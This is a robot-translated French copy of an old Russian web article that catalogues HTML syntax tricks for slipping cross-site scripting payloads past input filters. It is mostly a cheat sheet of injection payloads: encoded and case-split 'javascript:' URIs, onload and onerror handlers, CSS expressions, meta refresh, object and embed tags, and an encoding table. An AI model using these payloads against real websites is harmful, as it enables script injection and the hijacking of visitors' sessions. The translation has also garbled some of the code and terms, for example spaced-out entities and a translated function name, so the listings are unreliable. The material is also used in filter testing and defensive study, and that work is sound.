This page has been robot translated, sorry for typos if any. Original content here.

Fonctionnalités de syntaxe HTML

Créateurs: Algol , zFailure - dernières modifications 13/06/2005

L'une des principales méthodes de protection des sites contre les vulnérabilités XSS est l'utilisation de divers filtres pour les caractères saisis par l'utilisateur. Cet article décrit les fonctionnalités de la syntaxe HTML qui vous permettent de contourner ces filtres.

Il convient de noter que les vulnérabilités XSS dépendent du navigateur. Tous les exemples ci-dessous ont été testés dans IE6. Dans d'autres versions ou dans d'autres navigateurs, les exemples peuvent également ne pas fonctionner en aucune façon. Par exemple, le caractère barre oblique inverse (`) est un délimiteur d'attribut dans IE uniquement. D'autres navigateurs, comme Opera par exemple, ne considèrent pas ce symbole comme un gardien.

  • Délimiteurs d'attribut de balise.
    En plus de l'espace, les caractères suivants sont autorisés: barre oblique ( / ), tabulation, saut de ligne. Le délimiteur peut être omis si l'accessoire précédent est placé entre guillemets.
     <image / src = "1.png" / alt = "Astuce" / border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
     <image
     src = "1.png"
     alt = "Indice"
     border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
    
  • Délimiteurs d'attribut de balise
    Les valeurs peuvent être placées entre guillemets (doubles et simples) également dans les apostrophes, seul le général ne peut en aucun cas être limité.
     <image src = "" alt = "Mon indice est" border = "0">
     <image src = "" alt = 'My tooltip' border = "0">
     <image src = "" alt = `My hint` border =" 0 ">
     <image src = "" alt = Hint border = "0">
    
  • Encodages de caractères
    Le déchiffrement des caractères du script se produit avant son exécution:
      <img src = javascript: alert (& quot; ok & quot;)>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116 & # 58 & # 97 & # 108 & # 101 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 39 & # 41>
     <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (uniquement dans l'attribut href )
    
    
  • Délimiteurs littéraux de script
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alert (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Contourner le filtrage de certains caractères
      <img src = javascript: i = new / ** / Image (); i.src = 'http: //bla.bla'> (remplacement de l’espace par / ** /)
    
    
  • Manières d'exécuter des scripts
    Plusieurs façons d'exécuter automatiquement des scripts:
      <script> alerte ('ok') </script>
     <script src = 1.js> </script>
     <body onLoad = alert ('ok')>
     <meta http-equiv = Actualiser le contenu = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = alert ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = alert ('ok')>
     <hr style = background: url (javascript: alert ('ok'))>
     <span style = top: expression (alert ('ok'))> </span>
     <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </span> (ne fonctionne qu'une seule fois) <style type = "text / css"> @import url (javascript: alert ('ok')); </style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = url value = javascript: alert ('ok')> </object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (uniquement dans IE) <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (lancez-le uniquement en cliquant sur le lien) <a href = javascript: alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> cliquez sur moi </a> (lancer uniquement en cliquant sur le lien) <br SIZE = "& {alert ('XSS')} "> (Netscape 4.x uniquement)
    
    
  • Divers protocoles de script, façons de les écrire
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (espace jusqu'au mot javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()>
     <img src = javascript & # 9: alert ()>
     <img src = javascript & # 10: alert ()>
     <img src = javascript & # 13: alert ()>
     <img src = "javascript
     : alert () "> (avant les deux points - un caractère de tabulation)
     
     <img src = "java
     scri
     pt: ale
     rt () "> (à l'intérieur du mot javascript - un caractère de tabulation également un retour chariot)
     
    
  • Insérez des scripts avec style
    Les opérateurs de script de l'attribut style doivent être divisés par " \; ".
     <hr style = `background: url (javascript: alert ('ok 1') \; alert ('ok 2'))`>
    
  • Tags spéciaux.
      <image src = "1.png" alt = "" border = "0"> (la balise img fonctionne également de la même manière) <plaintext> (tout ce qui bouge plus tard que cette balise sera perçu comme du texte brut - pas du tout HTML) <textarea> (tout ce qui commence à se déplacer après cette balise sera perçu comme du texte brut - pas du tout HTML) <xml> (tout ce qui commence après cette balise ne sera affiché d'aucune façon)
    
    
  • Tableau des codes fréquemment utilisés:

    Symbole Encodage décimal 16e encodage * Encodage de caractères Encodage d'URL
    " & # 34 & # x22; & quot % 22
    '' & # 39 & # x27; % 27
    " & # 96 & # x60; % 60
    <espace> & # 32 & # x20; +
    <tab> & # 9 & # x09; % 09
    <retour chariot> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <trait d'union court> & # 173 & # xAD; & timide % AD
    & & # 38 & # x26; & amp % 26

    * -dans certains cas, le point-virgule peut être omis (si le caractère se trouve à la fin de la ligne, ou si plusieurs caractères de cet encodage vont de suite).

    Voir similaire: http://ha.ckers.org/xss.html
  • Il ne sera pas superflu pour vos amis d'apprendre ces informations, partagez un article avec eux!

    Commentaires Agrandir / réduire la fenêtre de commentaire développer / réduire

    Lorsque vous commentez, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments de vraies personnes, faire preuve de respect et de tolérance envers vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans les conditions de liberté d'expression et d'anonymat fournies par Internet change non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont masqués de l'index, le spam est contrôlé.
    Ça vous a plu? Abonnez-vous aux nouvelles RSS ,
    être le premier à recevoir des informations
    sur tous les événements importants du pays et du monde.
    Vous pouvez également prendre en charge shram.kiev.ua, cliquez sur:
    Hit 1 | Hôtes 1
    Mountain View, Californie, États-Unis
    IP: 66.102.9.102

    2020/01/20 @ www.shram.kiev.ua
    Убывающая луна 20 janvier 2020, lundi

    Jour de la République de Crimée Drapeau

    Vacances:

    Journée de sensibilisation aux pingouins Drapeau

    Journée Martin Luther King Drapeau

    Shat-tila Ekadashi Drapeau

    Dans le calendrier folklorique Ivan-Brazhnik

    Jour du nom: Vasily, Ivan, Athanasius

    Убывающая луна 21 janvier 2020, mardi

    Journée internationale des câlins Drapeau

    Vacances:

    Journée internationale des étudiants diplômés Drapeau

    Journée des troupes d'ingénierie de Russie Drapeau

    Journée des troupes d'ingénierie du Bélarus Drapeau

    Tous les jours fériés ce jour-là

    Dans le calendrier folklorique Emelin day, Emelyan winter

    Noms: Vasily, Victor, Vladimir, George, Gregory, Dmitry, Eugene, Emelyan, Ivan, Ilya, Mikhail, Julian, Vasilisa, Dominica

    Убывающая луна 22 janvier 2020, mercredi

    Journée de l'aviation des Forces russes de défense aérienne Drapeau

    Vacances:

    Journée de l'unification de l'Ukraine Drapeau

    Fête des grands-pères en Pologne Drapeau

    Au jour du calendrier folklorique des Philippines

    Jour du nom: Zahar, Paul, Peter, Antonina, Philip